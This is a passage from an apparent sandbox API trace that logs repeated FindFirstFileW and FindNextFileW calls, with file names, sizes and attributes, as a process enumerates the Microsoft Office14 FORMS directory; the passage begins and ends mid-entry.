ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="EXCELE~1.MAN")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="EXCELC~1.DLL")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0201.121] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0201.122] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0201.122] GetProcessHeap () returned 0x550000 [0201.122] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0201.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0201.122] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.123] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0201.123] GetProcessHeap () returned 0x550000 [0201.123] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0201.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0201.218] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.296] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0201.296] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITS.ICO", cAlternateFileName="")) returned 1 [0201.296] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITY.CFG", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPT.CFG", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTL.ICO", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTS.ICO", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.CFG", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8ed400, ftCreationTime.dwHighDateTime=0x1c68837, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec8ed400, ftLastWriteTime.dwHighDateTime=0x1c68837, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.ICO", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFRES.CFG", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONFLICT.ICO", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.CFG", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTL.ICO", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTS.ICO", cAlternateFileName="")) returned 1 [0201.297] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLIST.CFG", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTL.ICO", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTS.ICO", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOC.CFG", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCL.ICO", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCS.ICO", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473e9c00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x473e9c00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEM.CFG", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEML.ICO", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEMS.ICO", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb999900, ftCreationTime.dwHighDateTime=0x1c451be, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb999900, ftLastWriteTime.dwHighDateTime=0x1c451be, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMAIL.CFG", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d0fd900, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d0fd900, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOML.ICO", cAlternateFileName="")) returned 1 [0201.298] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1839500, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1839500, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMS.ICO", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPM.CFG", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPML.ICO", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPMS.ICO", cAlternateFileName="")) returned 1 [0201.299] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97071d00, 